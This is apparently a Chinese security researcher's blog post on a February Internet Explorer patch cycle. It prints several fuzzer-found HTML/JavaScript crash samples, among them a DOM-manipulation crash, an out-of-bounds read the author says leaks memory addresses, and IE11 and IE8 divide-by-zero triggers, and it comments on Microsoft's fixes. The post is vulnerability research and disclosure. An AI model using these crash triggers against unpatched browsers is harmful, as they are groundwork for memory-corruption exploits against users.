二月月经贴

补丁一出来就想写点东西的,结果多耽搁了几天,简单来说,这次补丁没什么亮点,不痛不痒的补了一堆,看上去数量惊人,实际效果一般。每次看那啥的时候,总觉得缺乏惊喜,这个月也是,没见过的crash一只手就能数出来。当然,叫人眼睛一亮或者菊花一紧的也有,比如2600多行的样本,所以有时候烧博士就很佩服微软的同行,基本都修炼成忍者神龟了。
这次灌水的当中,烧某人报的都修了半年以上(而且还没修好)。补了且不是烧某报的,这个月可以列出一串,随便搜一个贴出来是这样的

<!DOCTYPE>
<html>
<meta http-equiv=”x-ua-compatible” content=”IE=10″>
<title id=P>So you think you know fuzzing? Think again</title>
<script type=’text/javascript’>
function goPANW()
{
VV.getBoundingClientRect();
VV.replaceNode(VV);
try{VV.outerHTML=”no you cannot”;}catch(e){}
document.attachEvent(“DOMNodeInserted”, goPANW);
}
</script>
<body onload=document.body.contentEditable=”true”; id=VV onpropertychange=goPANW();>
<iframe>lol</iframe>
</body>
</html>

满不满足微软修补的条件,我就不说了,总之微软的门槛很奇怪,也有可能是报得比较早的吧。
另外还有一个,可以泄漏一下地址。其实这是个越界读,读完后内容会显示出来,说实话跑了上千种crash了吧,这个还独一枚,CVE不知道是啥,就知道应该是补了,然后这个样本略复杂一点。

<html xmlns:v=”urn:schemas-microsoft-com:vml”>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<head>
<meta http-equiv=”x-ua-compatible” content=”IE=9″>
<title id=P>So you think you know fuzzing? Think again</title>
<script>
function goFEYE(){
window.navigate(‘#P’);
document.selection.createRange().pasteHTML(’3′);
CollectGarbage();
}
function goPANW(){
document.body.contentEditable=”true”;
document.selection.createRange().pasteHTML(’4′);
getSelection().addRange(document.createRange());
A.replaceNode(document.createElement(“header”));
document.body.createTextRange().execCommand(“SelectAll”);
getSelection().removeAllRanges();
document.selection.createRange().queryCommandIndeterm(“Italic”);
N.replaceNode(document.createTextNode(“yeswescan”));
document.body.createTextRange().execCommand(“MultipleSelection”,false,true);
CollectGarbage();
}
</script>
</head>
<body onload=goPANW() onactivate=goFEYE()>
<xml:namespace ns=”urn:schemas-microsoft-com:vml” prefix=”v” />
<v:oval id=A></v:oval>
<style id=N></style>
</body>
</html>

还有这次补丁后,有不少空指针的也神秘消失了,比如crash在MSHTML!CMarkupPointer::There+0×145,MSHTML!CTreeNode::EnsureNoDependentLayoutFixup+0x2d, MSHTML!CTreeNode::Parent+0×7等,这几种崩溃的出现频率都在十万分之一以上,全补丁机器上跑也是一切OK。可能是哪位仁兄顺手改了一下,也有可能是修其他的影响到了,嗯,后面这个可能性大一些。
罕见的crash中,还有一类是除零错,迄今为止烧某在fuzz过的所有的软件中都发现过,但IE是最少的。这次补了以后不能触发的也有一个,我还以为是他们修了,确认后又得到了否定的答案,不过反正这种也不计入安全问题中,贴一个出来看看吧,IE11的,同样是略复杂。

<!DOCTYPE>
<html>
<meta http-equiv=”x-ua-compatible” content=”IE=8″>
<title>So you think you know fuzzing? Think again.</title>
<script>
function goPANW()
{
document.createElement(“canvas”).applyElement(P);
var W = document.body.createTextRange();
W.moveToElementText(N);
W.select();
A.swapNode(document.createTextNode(“noyoucannot”));
document.selection.createRange().expand(“character”);
W.moveToPoint(557,557);
}
</script>
<body onload=”goPANW()” contentEditable=”true”>
<form id=P action=”#”>
<select id=A></select>
<input id=N type=”checkbox”>I had a dream<br>
</form>
</body>
</html>

再来凑个数,上面都是影响IE11的,但有不少人还在用IE8加上posready2009的补丁,其实IE8上也有除零的问题,而且更简单

<!doctype>
<body contentEditable=true><ul style=ruby-align:distribute-space><ruby><del style=border-style:solid>
烧先生最近几个月都不花时间去搞fuzzing了,不过看着大家刷得这么high,下个月还是挑几个报吧。领导上也没有要求打Pwn2Own,有些神奇的东西如果就这么淹没在历史的长河中实在是可惜了。

发表评论

电子邮件地址不会被公开。 必填项已用 * 标注

您可以使用这些 HTML 标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>